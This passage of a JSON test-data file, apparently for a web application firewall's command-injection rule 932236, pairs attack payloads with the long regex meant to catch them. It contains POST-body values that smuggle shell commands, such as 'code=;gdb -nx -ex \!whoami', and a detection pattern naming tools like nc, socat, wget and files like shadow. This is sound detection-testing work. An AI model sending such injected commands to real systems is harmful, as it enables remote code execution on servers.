b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st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|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;gdb -nx -ex \\!whoami -ex quit\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]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x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "ATFHUJVF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;cat /path/file.gz\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(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9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(